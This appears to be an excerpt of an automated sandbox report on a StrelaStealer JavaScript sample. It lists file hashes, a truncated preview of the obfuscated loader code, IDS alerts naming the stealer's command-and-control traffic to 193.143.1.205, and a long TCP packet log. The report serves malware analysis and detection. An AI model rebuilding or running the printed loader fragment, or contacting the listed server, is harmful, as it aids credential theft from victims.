Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15853), with CRLF line terminators
Entropy (8bit):	4.905218619280558
TrID:
File name:	18620271451234622924.js
File size:	19'175 bytes
MD5:	ed2446adea115f3e8e1cfd04a9a2de0e
SHA1:	15db34d9c44bd274d20c1ba737d4b6be03ebd325
SHA256:	5f16f9b525f064e273ce349b52957d5b9270f8934c25119d200dfb433439ce89
SHA512:	5fd7fe0b1f7358ad07f4e32a7fa20dfb814af2d175fa9431853eb6ea08d4a69a20aa7790c480b6283994cef17f9f618ab3a8adac260ec6a510d04f1d994c07f5
SSDEEP:	384:4TnTQSK/k7UIXmJrzuIMyBuBZiyd8HnR2Ui9hTk7H4yCdMWiUrmdAAoD2RF:x/WjmJrzuVG
TLSH:	10822F80D542E43E0DE4CFDB9AEA142156FC07CE40B22E5AE475B1A087DAF78CEE5275
File Content Preview:	function glgxvraio(){mlkmsj=[1031,3079,5127,4103,2055,3072];var uejzzw=this[qbnxuw+vvakhhguv+tplfmgi+cainq+xtzsf+wojdz+driqbemw+hgowa](this[jxgiscejx+axumm+igljnkahv+tplfmgi+fxraws+qbnxuw+hgowa][olliy+tplfmgi+xtzsf+vvakhhguv+hgowa+xtzsf+kbwmr+tlnwv+jfkrzp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T04:29:22.981540+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:29:22.981540+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T04:29:25.715815+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:29:22.196351051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.201221943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.201302052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.204088926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.208831072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.981405973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.981460094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.981471062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.981539965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.981731892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.981743097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.981751919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.981774092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.981795073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.982094049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.982105017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.982119083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.982129097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:22.982142925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.982203960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:22.986417055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.024264097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.024292946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.024305105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.024380922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.024419069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.101428986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.101547956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.101557016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.101597071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.101685047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.101696014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.101706982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.101727009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.101759911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.102164030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.102194071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.102205038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.102227926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.102515936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.102526903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.102565050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.102951050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.102988005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.102998972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.103008986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.103034019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.103358030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.103368998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.103405952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.103790045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.103882074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.103892088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.103914022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.104150057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.104192019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.113329887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.144496918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.144542933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.144618034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.144629955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.144675970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.144911051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.184578896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.190720081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.190731049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.190773964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.221506119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.221560955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.221595049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.221602917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.221745968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.221781969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.221793890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.221976042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.221986055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.221997023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222011089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.222032070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.222330093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222493887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222503901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222531080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.222687960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222697973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222708941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222719908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.222744942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.222764969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.223221064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.223257065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.223388910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.223400116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.223424911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.223718882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.223730087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.223741055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.223752022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.223772049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.223786116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.224278927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.224447966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.224458933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.224492073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.224752903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.224764109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.224773884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.224785089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.224792957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.224807978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.225298882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.225338936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.225502968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.225514889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.225549936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.225778103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.225789070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.225799084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.225810051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.225816011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.225847960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.226403952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.226414919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.226424932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.226434946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.226444960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.226449966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.226476908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.233686924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.233728886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.264697075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.264784098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.264795065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.264827967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.264977932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.264988899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.265022039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.265250921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.265288115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.265320063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.265325069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.265391111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.310703993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.310832977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.310844898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.310890913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.311084986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.311125994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.341746092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.341859102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.341869116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.341900110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.341991901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342005014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342036009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.342190981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342200041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342231035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.342391968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342402935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342431068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.342704058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342742920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.342787981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342798948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342813015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342823982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.342839003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.342854023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.343334913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343416929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343426943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343436956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343455076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.343475103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.343803883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343815088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343825102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343835115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.343859911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.343888044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.344425917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.344438076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.344448090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.344458103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.344469070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.344474077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.344480038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.344494104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.344540119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.345324039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.345336914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.345346928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.345357895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.345369101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.345398903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.346164942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346177101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346185923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346199989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346213102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346213102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.346224070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346247911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.346949100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346959114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346968889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346978903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346988916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.346992970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.347035885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.347805977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.347816944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.347826958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.347837925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.347847939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.347858906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.347866058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.347894907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.348633051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.348647118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.348656893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.348666906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.348678112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.348681927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.348690987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.348701000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.348733902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.349385023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.349397898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.349407911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.349419117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.349428892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.349438906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.349450111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.349453926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.349479914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.350197077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.350208998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.350219965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.350235939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.350259066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.353863955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.353956938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.353966951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.353998899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.354140043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354180098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.354202986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354213953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354224920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354258060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.354581118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354590893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354602098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354612112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354628086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.354645967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.354814053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354824066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.354850054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.384836912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.384901047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.395936012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.396030903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.396040916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.396094084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.399908066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.399969101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.400031090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400041103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400089979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.400155067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400198936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400209904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400240898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.400525093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400558949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.400583029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400703907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.400738001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.430974960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431082010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431092978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431243896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.431287050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431329012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.431349039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431359053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431370020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431380987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 04:29:23.431387901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:29:23.431437969 CET	49704	80	192.168.2.5	193.143.1.205
